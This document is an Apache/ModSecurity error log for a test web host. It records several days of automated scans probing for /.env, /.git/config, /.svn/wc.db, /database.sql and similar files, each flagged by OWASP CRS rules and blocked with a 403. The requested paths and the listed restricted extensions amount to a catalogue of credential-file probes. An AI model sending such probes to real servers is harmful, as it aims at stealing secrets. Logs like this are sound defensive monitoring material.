[Tue Jul 15 03:26:18.306366 2025] [:error] [pid 1190795] [client 213.232.87.232:18509] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aHWuOp_JN6YD1XsxGOXM7AAAAAY"]
[Tue Jul 15 03:26:18.306595 2025] [:error] [pid 1190795] [client 213.232.87.232:18509] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aHWuOp_JN6YD1XsxGOXM7AAAAAY"]
[Tue Jul 15 03:26:18.306755 2025] [:error] [pid 1190795] [client 213.232.87.232:18509] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aHWuOp_JN6YD1XsxGOXM7AAAAAY"]
[Tue Jul 15 03:26:18.370176 2025] [:error] [pid 1190408] [client 213.232.87.232:53591] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPwAAAAU"]
[Tue Jul 15 03:26:18.370651 2025] [:error] [pid 1190408] [client 213.232.87.232:53591] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPwAAAAU"]
[Tue Jul 15 03:26:18.370871 2025] [:error] [pid 1190408] [client 213.232.87.232:53591] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPwAAAAU"]
[Tue Jul 15 03:26:18.422399 2025] [:error] [pid 1190795] [client 213.232.87.232:37971] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "aHWuOp_JN6YD1XsxGOXM7QAAAAY"]
[Tue Jul 15 03:26:18.422560 2025] [:error] [pid 1190795] [client 213.232.87.232:37971] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "aHWuOp_JN6YD1XsxGOXM7QAAAAY"]
[Tue Jul 15 03:26:18.422765 2025] [:error] [pid 1190795] [client 213.232.87.232:37971] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "aHWuOp_JN6YD1XsxGOXM7QAAAAY"]
[Tue Jul 15 03:26:18.423002 2025] [:error] [pid 1190795] [client 213.232.87.232:37971] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "aHWuOp_JN6YD1XsxGOXM7QAAAAY"]
[Tue Jul 15 03:26:18.474178 2025] [:error] [pid 1190408] [client 213.232.87.232:26137] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aHWuOjwOw_POMtqur4LYQAAAAAU"]
[Tue Jul 15 03:26:18.474418 2025] [:error] [pid 1190408] [client 213.232.87.232:26137] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aHWuOjwOw_POMtqur4LYQAAAAAU"]
[Tue Jul 15 03:26:18.474598 2025] [:error] [pid 1190408] [client 213.232.87.232:26137] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aHWuOjwOw_POMtqur4LYQAAAAAU"]
[Tue Jul 15 03:26:18.574586 2025] [authz_core:error] [pid 1190381] [client 213.232.87.232:27459] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Jul 15 07:39:23.607124 2025] [:error] [pid 1190830] [client 194.26.192.144:58556] [client 194.26.192.144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHXpi-sj97E90f8z86GqRwAAAA0"]
[Tue Jul 15 07:39:23.607440 2025] [:error] [pid 1190830] [client 194.26.192.144:58556] [client 194.26.192.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHXpi-sj97E90f8z86GqRwAAAA0"]
[Tue Jul 15 07:39:23.607634 2025] [:error] [pid 1190830] [client 194.26.192.144:58556] [client 194.26.192.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHXpi-sj97E90f8z86GqRwAAAA0"]
[Tue Jul 15 08:58:21.350415 2025] [:error] [pid 1192514] [client 34.207.124.193:45772] [client 34.207.124.193] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHX8DV-vmcqm5YXa8U-1NgAAABM"]
[Tue Jul 15 08:58:21.350713 2025] [:error] [pid 1192514] [client 34.207.124.193:45772] [client 34.207.124.193] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHX8DV-vmcqm5YXa8U-1NgAAABM"]
[Tue Jul 15 08:58:21.351389 2025] [:error] [pid 1192514] [client 34.207.124.193:45772] [client 34.207.124.193] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHX8DV-vmcqm5YXa8U-1NgAAABM"]
[Tue Jul 15 16:33:51.723434 2025] [:error] [pid 1192510] [client 93.123.109.7:48888] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZmz3k7Ne_9HLQN_o2uGgAAAA8"]
[Tue Jul 15 16:33:51.723757 2025] [:error] [pid 1192510] [client 93.123.109.7:48888] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZmz3k7Ne_9HLQN_o2uGgAAAA8"]
[Tue Jul 15 16:33:51.723916 2025] [:error] [pid 1192510] [client 93.123.109.7:48888] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZmz3k7Ne_9HLQN_o2uGgAAAA8"]
[Tue Jul 15 16:41:10.576603 2025] [:error] [pid 1197375] [client 93.127.160.126:54676] [client 93.127.160.126] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZohgCYo9uoDehR8tZmXAAAAAA"]
[Tue Jul 15 16:41:10.576861 2025] [:error] [pid 1197375] [client 93.127.160.126:54676] [client 93.127.160.126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZohgCYo9uoDehR8tZmXAAAAAA"]
[Tue Jul 15 16:41:10.577025 2025] [:error] [pid 1197375] [client 93.127.160.126:54676] [client 93.127.160.126] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHZohgCYo9uoDehR8tZmXAAAAAA"]
[Wed Jul 16 10:41:45.271385 2025] [:error] [pid 1216418] [client 198.55.98.91:44556] [client 198.55.98.91] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHdlyauC4lywOuSMb_25swAAAAU"]
[Wed Jul 16 10:41:45.271661 2025] [:error] [pid 1216418] [client 198.55.98.91:44556] [client 198.55.98.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHdlyauC4lywOuSMb_25swAAAAU"]
[Wed Jul 16 10:41:45.271835 2025] [:error] [pid 1216418] [client 198.55.98.91:44556] [client 198.55.98.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHdlyauC4lywOuSMb_25swAAAAU"]
[Thu Jul 17 02:32:42.622705 2025] [:error] [pid 1237603] [client 194.26.192.144:51506] [client 194.26.192.144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHhEqscc2cWhRdW1lhBk9wAAAAM"]
[Thu Jul 17 02:32:42.622997 2025] [:error] [pid 1237603] [client 194.26.192.144:51506] [client 194.26.192.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHhEqscc2cWhRdW1lhBk9wAAAAM"]
[Thu Jul 17 02:32:42.623200 2025] [:error] [pid 1237603] [client 194.26.192.144:51506] [client 194.26.192.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHhEqscc2cWhRdW1lhBk9wAAAAM"]
[Thu Jul 17 12:33:01.512910 2025] [:error] [pid 1240087] [client 198.55.98.68:55436] [client 198.55.98.68] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjRXcKx3D63ju9s1P8UzwAAAAI"]
[Thu Jul 17 12:33:01.513372 2025] [:error] [pid 1240087] [client 198.55.98.68:55436] [client 198.55.98.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjRXcKx3D63ju9s1P8UzwAAAAI"]
[Thu Jul 17 12:33:01.513677 2025] [:error] [pid 1240087] [client 198.55.98.68:55436] [client 198.55.98.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjRXcKx3D63ju9s1P8UzwAAAAI"]
[Thu Jul 17 13:34:55.118610 2025] [:error] [pid 1240089] [client 54.242.13.27:56202] [client 54.242.13.27] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjf34NSz2JhFMNCIOLIJQAAAAQ"]
[Thu Jul 17 13:34:55.118913 2025] [:error] [pid 1240089] [client 54.242.13.27:56202] [client 54.242.13.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjf34NSz2JhFMNCIOLIJQAAAAQ"]
[Thu Jul 17 13:34:55.119095 2025] [:error] [pid 1240089] [client 54.242.13.27:56202] [client 54.242.13.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHjf34NSz2JhFMNCIOLIJQAAAAQ"]
[Thu Jul 17 16:01:07.017351 2025] [:error] [pid 1251799] [client 185.177.72.236:27436] [client 185.177.72.236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHkCIzjGz14UW1q6tKk25AAAAAo"]
